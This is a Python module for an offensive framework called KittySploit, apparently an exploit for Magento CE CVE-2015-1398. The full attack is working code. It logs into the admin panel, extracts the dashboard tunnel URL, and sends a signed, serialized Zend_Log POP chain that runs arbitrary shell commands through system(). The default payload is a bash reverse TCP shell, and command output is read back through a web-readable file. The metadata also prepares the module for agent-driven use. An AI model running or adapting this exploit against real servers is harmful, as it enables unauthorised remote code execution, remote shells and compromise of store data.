Magento CVE-2015-1398 tunnel unserialize RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Magento CE CVE-2015-1398 authenticated POP chain tunnel RCE (blind)."""

from __future__ import annotations

import base64
import hashlib
import re
import time
from urllib.parse import urlparse

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Magento CVE-2015-1398 tunnel unserialize RCE",
        "description": (
            "CVE-2015-1398 (Magento CE <= 1.9.0.1): admin dashboard tunnel "
            "unserializes ?ga= POP chain to system(); blind — read output file or use sleep oracle."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2015-1398"],
        "platform": Platform.PHP,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2015-1398",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["magento", "php", "unserialize", "authenticated", "rce", "cve-2015-1398"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "requires": {"tech_hints_any": ["magento"]},
            "chain": {"suggested_followups": []},
        },
    }

    admin_path = OptString("/index.php/admin/", "Magento admin URL path", required=False)
    username = OptString("admin", "Admin username", required=True)
    password = OptString("", "Admin password", required=True)
    install_date = OptString(
        "Wed, 01 Jan 2020 00:00:00 +0000",
        "Value from app/etc/local.xml <install><date>",
        required=True,
    )
    output_file = OptString(
        "/var/www/html/media/kitty_out.txt",
        "Remote path for blind cmd output (must be web-readable)",
        required=False,
        advanced=True,
    )
    output_url = OptString("/media/kitty_out.txt", "URL path to read output_file", required=False, advanced=True)
    command = OptString("", "Command (overrides payload)", required=False)

    def _admin_base(self) -> str:
        p = str(self.admin_path or "/index.php/admin/")
        if not p.startswith("/"):
            p = "/" + p
        return p

    def _login(self) -> None:
        login = self._admin_base()
        resp = self.http_request("GET", login)
        html = (resp.text or "") if resp else ""
        m = re.search(r'name="form_key"[^>]*value="([^"]+)"', html)
        if not m:
            raise RuntimeError("form_key missing")
        self.http_request(
            "POST",
            login,
            data={
                "form_key": m.group(1),
                "login[username]": str(self.username or ""),
                "login[password]": str(self.password or ""),
            },
        )

    def _tunnel_url(self) -> str:
        dash = self._admin_base().rstrip("/") + "/dashboard/"
        resp = self.http_request("GET", dash)
        html = (resp.text or "") if resp else ""
        ajax = re.search(r"ajaxBlockUrl = '(.*)'", html)
        if not ajax:
            raise RuntimeError("ajaxBlockUrl not found — populate dashboard chart data")
        key_m = re.search(r"var FORM_KEY = '(.*)'", html)
        key = key_m.group(1) if key_m else ""
        block = self.http_request(
            "POST",
            ajax.group(1) + "block/tab_orders/period/7d/?isAjax=true",
            data={"isAjax": "false", "form_key": key},
        )
        tun = re.search(r'src="(https?://[^"]+?/tunnel/key/[a-f0-9]+/)\?ga=', (block.text or "") if block else "")
        if not tun:
            raise RuntimeError("Tunnel URL not found in dashboard block")
        return tun.group(1)

    def _pop_payload(self, arg: str, php_function: str = "system") -> str:
        payload = (
            'O:8:"Zend_Log":1:{s:11:"\x00*\x00_writers";a:2:{i:0;O:20:"Zend_Log_Writer_Mail":4:'
            '{s:16:"\x00*\x00_eventsToMail";a:3:{i:0;s:11:"EXTERMINATE";i:1;s:12:"EXTERMINATE!";'
            'i:2;s:15:"EXTERMINATE!!!!";}s:22:"\x00*\x00_subjectPrependText";N;s:10:"\x00*\x00_layout";'
            'O:23:"Zend_Config_Writer_Yaml":3:{s:15:"\x00*\x00_yamlEncoder";s:%d:"%s";'
            's:17:"\x00*\x00_loadedSection";N;s:10:"\x00*\x00_config";O:13:"Varien_Object":1:'
            '{s:8:"\x00*\x00_data";s:%d:"%s";}}s:8:"\x00*\x00_mail";O:9:"Zend_Mail":0:{}}i:1;i:2;}}'
        ) % (len(php_function), php_function, len(arg), arg)
        b64 = base64.b64encode(payload.encode()).decode()
        gh = hashlib.md5((b64 + str(self.install_date or "")).encode()).hexdigest()
        return f"?ga={b64}&h={gh}"

    def _fire_tunnel(self, shell_arg: str) -> int:
        tunnel = self._tunnel_url()
        qs = self._pop_payload(shell_arg)
        path = urlparse(tunnel).path.rstrip("/") + qs
        start = time.time()
        resp = self.http_request("GET", path)
        elapsed = time.time() - start
        self._last_elapsed = elapsed
        return int(resp.status_code or 0) if resp else 0

    def execute(self, cmd: str) -> str:
        if not getattr(self, "_logged_in", False):
            self._login()
            self._logged_in = True
        out_path = str(self.output_file or "/var/www/html/media/kitty_out.txt")
        read_url = str(self.output_url or "/media/kitty_out.txt")
        wrapped = f"{cmd} > {out_path} 2>&1"
        self._fire_tunnel(wrapped)
        resp = self.http_request("GET", read_url)
        return (resp.text or "").strip() if resp else ""

    def check(self):
        try:
            self._login()
            self._tunnel_url()
        except RuntimeError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "medium"}
        return {"vulnerable": True, "reason": "Admin session and tunnel URL OK", "confidence": "high"}

    def check_execute(self):
        self._fire_tunnel("sleep 5")
        return getattr(self, "_last_elapsed", 0) >= 4.5

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Precheck failed"))
            self.not_vulnerable()
            return False

        print_status("CVE-2015-1398 — Magento tunnel POP chain")
        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", cmd, re.I):
            print_warning("Sleep oracle weak — trying command anyway")

        out = self.execute(cmd)
        if out:
            print_info(out[:4000])

        if str(self.command or "").strip() and out:
            return self.handler_execute()
        if re.search(r"reverse|bash|/dev/tcp|nc ", cmd, re.I):
            return True
        return bool(out) and self.handler_execute()